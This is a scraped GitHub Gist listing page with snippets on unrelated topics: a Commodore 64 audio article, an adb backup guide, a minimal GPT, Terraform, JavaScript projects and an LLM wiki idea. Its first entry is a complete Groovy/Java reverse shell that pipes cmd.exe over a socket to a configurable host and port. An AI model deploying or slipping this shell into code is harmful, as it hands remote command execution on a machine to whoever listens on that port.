Skip to content

Instantly share code, notes, and snippets.

@frohoff
frohoff / revsh.groovy
Created March 2, 2016 18:55
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
@munshkr
munshkr / The C64 Digi
Last active November 15, 2026 20:35
The C64 Digi ~ C=Hacking #20
<=============
The C64 Digi
=============> Robin Harbron <macbeth@psw.ca>
Levente Harsfalvi <levente@terrasoft.hu>
Stephen Judd <sjudd@ffd2.com>
Introduction
------------
Digis -- digitally sampled audio -- are fairly common on the 64. This is
@AnatomicJC
AnatomicJC / android-backup-apk-and-datas.md
Last active November 15, 2026 20:08
Backup android app, data included, no root needed, with adb

Backup android app, data included, no root needed, with adb

Note: This gist may be outdated, thanks to all contributors in comments.

adb is the Android CLI tool with which you can interact with your android device, from your PC

You must enable developer mode (tap 7 times on the build version in parameters) and install adb on your PC.

Don't hesitate to read comments, there is useful tips, thanks guys for this !

I've recently joined Amazon Dublin from India and got opportunities to interview with Meta London, Zalando Berlin & some other companies. I extensively researched about companies hiring internationally which support visa & relocation for Tech roles. So sharing list of companies:

Do consider to STAR, if it helped you.

London

@karpathy
karpathy / microgpt.py
Last active November 15, 2026 21:26
microgpt
"""
The most atomic way to train and run inference for a GPT in pure, dependency-free Python.
This file is the complete algorithm.
Everything else is just efficiency.
@karpathy
"""
import os # os.path.exists
import math # math.log, math.exp
@kuzemkon
kuzemkon / ecs-fargate.tf
Last active November 15, 2026 19:00
Terraform IaaC for AWS ECS with Fargate and AWS Application Load Balancer
variable "env" {
type = string
default = "dev"
}
variable "api_host" {
type = string
default = "my.api.com"
}
@burakorkmez
burakorkmez / bookmark-saver.md
Last active November 15, 2026 18:51
HTML/CSS/JS PROJECTS
const addBookmarkBtn = document.getElementById("add-bookmark");
const bookmarkList = document.getElementById("bookmark-list");
const bookmarkNameInput = document.getElementById("bookmark-name");
const bookmarkUrlInput = document.getElementById("bookmark-url");

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

@hemiipatu
hemiipatu / qbztoken.user.js
Last active November 15, 2026 17:20 — forked from uhwot/qbztoken.user.js
allows logging in via auth tokens on play.qobuz.com
// ==UserScript==
// @name Qobuz auth token & app-id login
// @namespace io.github.uhwot.qbztoken
// @match https://play.qobuz.com/*
// @grant none
// @version 2.2
// @author uh wot / hemiipatu
// @description Intercepts native login button with custom credentials, complete UI matching and alignment.
// @homepageURL https://gist.github.com/hemiipatu/34a0e3cd35c7fd25260fd84b6991f53b
// @downloadURL https://gist.github.com/hemiipatu/34a0e3cd35c7fd25260fd84b6991f53b/raw/master/qbztoken.user.js
@rust-play
rust-play / Playground.toml Secret
Created November 15, 2026 16:52
Code shared from the Rust Playground
version = "1"